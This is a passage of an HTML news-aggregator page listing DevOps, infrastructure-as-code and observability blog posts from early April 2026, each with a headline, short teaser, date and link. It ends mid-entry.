<h3 id="h3-protect-yourself-from-vibe-coding-errors" class="group relative scroll-mt-24">
        <a href="#h3-protect-yourself-from-vibe-coding-errors" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Protect yourself from vibe coding errors
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-protect-yourself-from-vibe-coding-errors"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Is AI-written code 100% trustworthy? Get control over vibe coding errors.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/prevent-ai-coding-errors-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-delivering-adaptive-ai-with-launchdarkly-and-snowflake-cortex" class="group relative scroll-mt-24">
        <a href="#h3-delivering-adaptive-ai-with-launchdarkly-and-snowflake-cortex" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Delivering adaptive AI with LaunchDarkly and Snowflake Cortex
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-delivering-adaptive-ai-with-launchdarkly-and-snowflake-cortex"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>LaunchDarkly &amp; Snowflake enable AI delivery with real-time config and runtime safety.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/adaptive-ai-launchdarkly-snowflake-cortex/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-design-prioritize-and-run-high-impact-experiments" class="group relative scroll-mt-24">
        <a href="#h3-how-to-design-prioritize-and-run-high-impact-experiments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to design, prioritize, and run high-impact experiments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-design-prioritize-and-run-high-impact-experiments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Run fewer, higher-impact experiments with clear metrics and minimal noise.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/high-impact-experiments/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-uphill-climb-of-making-diff-lines-performant" class="group relative scroll-mt-24">
        <a href="#h3-the-uphill-climb-of-making-diff-lines-performant" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The uphill climb of making diff lines performant
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-uphill-climb-of-making-diff-lines-performant"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The path to better performance is often found in simplicity. The post The uphill climb of making diff lines performant appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/engineering/architecture-optimization/the-uphill-climb-of-making-diff-lines-performant/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tree-sitter-postgres-libpgfmt-pgfmt-and-libpgdump" class="group relative scroll-mt-24">
        <a href="#h3-tree-sitter-postgres-libpgfmt-pgfmt-and-libpgdump" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 tree-sitter-postgres, libpgfmt, pgfmt, and libpgdump
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tree-sitter-postgres-libpgfmt-pgfmt-and-libpgdump"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I&#39;ve been rebuilding some internal tools and open source projects in Rust and have a few things to share: tree-sitter-postgres — A Tree-sitter grammar for Postgres (SQL + PL/pgSQL) that uses codegen t</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 PostgreSQL News</strong></p>
<p><a href="https://www.postgresql.org/about/news/tree-sitter-postgres-libpgfmt-pgfmt-and-libpgdump-3263/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cicd-governance-with-template-driven-pipelines" class="group relative scroll-mt-24">
        <a href="#h3-cicd-governance-with-template-driven-pipelines" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 CI/CD governance with template-driven pipelines
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cicd-governance-with-template-driven-pipelines"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How to improve CI/CD governance using template-driven pipelines, Git controls, and policy enforcement to protect production. | Blog</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/the-pipeline-that-never-reached-production"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zero-trust-architecture-for-secure-software-delivery" class="group relative scroll-mt-24">
        <a href="#h3-zero-trust-architecture-for-secure-software-delivery" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zero Trust Architecture for Secure Software Delivery
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zero-trust-architecture-for-secure-software-delivery"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Move beyond RBAC and gates. Discover how to create a &quot;last line of defense&quot; for your SDLC by validating every automated task at the runner level. | Blog</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/introducing-zero-trust-architecture-for-software-delivery"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-chaos-engineering-myths-from-chaos-to-confidence" class="group relative scroll-mt-24">
        <a href="#h3-chaos-engineering-myths-from-chaos-to-confidence" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Chaos Engineering Myths: From Chaos to Confidence
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-chaos-engineering-myths-from-chaos-to-confidence"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Chaos engineering isn’t risky or exclusive. It uses controlled, hypothesis-driven tests to improve resilience, complement QA, and build system confidence. | Blog</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/from-chaos-to-confidence-debunking-the-3-biggest-myths-of-chaos-engineering"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-run-multiple-agents-at-once-with-fleet-in-copilot-cli" class="group relative scroll-mt-24">
        <a href="#h3-run-multiple-agents-at-once-with-fleet-in-copilot-cli" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Run multiple agents at once with /fleet in Copilot CLI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-run-multiple-agents-at-once-with-fleet-in-copilot-cli"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>/fleet lets Copilot CLI dispatch multiple agents in parallel. Learn how to write prompts that split work across files, declare dependencies, and avoid common pitfalls. The post Run multiple agents at </p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/run-multiple-agents-at-once-with-fleet-in-copilot-cli/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agent-driven-development-in-copilot-applied-science" class="group relative scroll-mt-24">
        <a href="#h3-agent-driven-development-in-copilot-applied-science" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agent-driven development in Copilot Applied Science
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-driven-development-in-copilot-applied-science"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I used coding agents to build agents that automated part of my job. Here&#39;s what I learned about working better with coding agents. The post Agent-driven development in Copilot Applied Science appeared</p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/agent-driven-development-in-copilot-applied-science/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-changes-to-packagesgitlabcom-what-you-need-to-know" class="group relative scroll-mt-24">
        <a href="#h3-changes-to-packagesgitlabcom-what-you-need-to-know" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Changes to packages.gitlab.com: What you need to know
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-changes-to-packagesgitlabcom-what-you-need-to-know"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Over the past few months, we have been gradually migrating the infrastructure behind packages.gitlab.com to a new package hosting system. The base domain packages.gitlab.com remains the same, but URL </p>
<p><strong>📅 Mar 31, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/changes-to-packages-gitlab-com-what-you-need-to-know/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-apache-spark-troubleshooting-and-upgrade-agents-now-available-as-kiro-powers" class="group relative scroll-mt-24">
        <a href="#h3-apache-spark-troubleshooting-and-upgrade-agents-now-available-as-kiro-powers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Apache Spark troubleshooting and upgrade agents now available as Kiro powers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-apache-spark-troubleshooting-and-upgrade-agents-now-available-as-kiro-powers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Apache Spark troubleshooting agent and upgrade agent for Amazon EMR are now available as Kiro powers, bringing one-click access to AI-assisted Spark operations directly in Kiro. With these powers,</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-emr-spark-troubleshooting-upgrade-kiro-power/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-streamlining-cloud-compliance-at-godaddy-using-cdk-aspects" class="group relative scroll-mt-24">
        <a href="#h3-streamlining-cloud-compliance-at-godaddy-using-cdk-aspects" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Streamlining Cloud Compliance at GoDaddy Using CDK Aspects
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-streamlining-cloud-compliance-at-godaddy-using-cdk-aspects"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This is a guest post written by Jasdeep Singh Bhalla from GoDaddy. AWS Cloud Development Kit (CDK) Aspects are a powerful mechanism that allows you to apply organization-wide policies, like security r</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 AWS DevOps Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/devops/streamlining-cloud-compliance-at-godaddy-using-cdk-aspects/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-red-hat-solutions-for-the-hybrid-sap-landscape" class="group relative scroll-mt-24">
        <a href="#h3-red-hat-solutions-for-the-hybrid-sap-landscape" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Red Hat solutions for the hybrid SAP landscape
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-red-hat-solutions-for-the-hybrid-sap-landscape"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Many SAP environments are deployed in a hybrid landscape where applications may run on-premise, or on Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS), or Software-as-a-Service (SaaS).</p>
<p><strong>📅 Apr 3, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/red-hat-solutions-hybrid-sap-landscape"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-take-your-automation-to-the-next-level-with-ansible-content-collections-for-windows-splunk-aiops-mcp-and-more" class="group relative scroll-mt-24">
        <a href="#h3-take-your-automation-to-the-next-level-with-ansible-content-collections-for-windows-splunk-aiops-mcp-and-more" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Take your automation to the next level with Ansible Content Collections for Windows, Splunk, AIOps, MCP, and more
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-take-your-automation-to-the-next-level-with-ansible-content-collections-for-windows-splunk-aiops-mcp-and-more"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>One of the strengths of Red Hat Ansible Automation Platform is its flexible automation of an array of use cases across ITOps. It includes multiple options to help you jumpstart new automation projects</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/take-your-automation-next-level-ansible-content-collections-windows-splunk-aiops-mcp-and-more"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-read-only-mode-for-pulumi-neo" class="group relative scroll-mt-24">
        <a href="#h3-introducing-read-only-mode-for-pulumi-neo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Read-Only Mode for Pulumi Neo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-read-only-mode-for-pulumi-neo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A platform engineer with broad access might want Neo to analyze infrastructure and suggest changes, but include guarantees it won’t actually apply them. Read-only mode makes that possible: Neo does th</p>
<p><strong>📅 Apr 1, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/neo-read-only-mode/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-transform-ai-complexity-into-strategic-clarity" class="group relative scroll-mt-24">
        <a href="#h3-transform-ai-complexity-into-strategic-clarity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Transform AI Complexity into Strategic Clarity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-transform-ai-complexity-into-strategic-clarity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability is no longer an infrastructure tax, it is the strategic command center for AI success. Use New Relic AI Monitoring to bridge the gap between AI potential and business ROI.</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/ai/transform-ai-complexity-into-strategic-clarity"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-exploring-application-performance-monitoring-apm" class="group relative scroll-mt-24">
        <a href="#h3-exploring-application-performance-monitoring-apm" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Exploring application performance monitoring (APM)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-exploring-application-performance-monitoring-apm"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Application performance monitoring (APM) allows users to identify and track app performance using real-time data. Learn more about APM solutions with New Relic.</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/apm/what-is-apm"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-observability" class="group relative scroll-mt-24">
        <a href="#h3-what-is-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is observability?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability allows you to analyze the internal states of a system, giving you much needed insights. Learn about observability tools, best practices and more.</p>
<p><strong>📅 Apr 2, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/what-is-observability"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-send-your-existing-opentelemetry-traces-to-sentry" class="group relative scroll-mt-24">
        <a href="#h3-send-your-existing-opentelemetry-traces-to-sentry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Send your existing OpenTelemetry traces to Sentry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-send-your-existing-opentelemetry-traces-to-sentry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
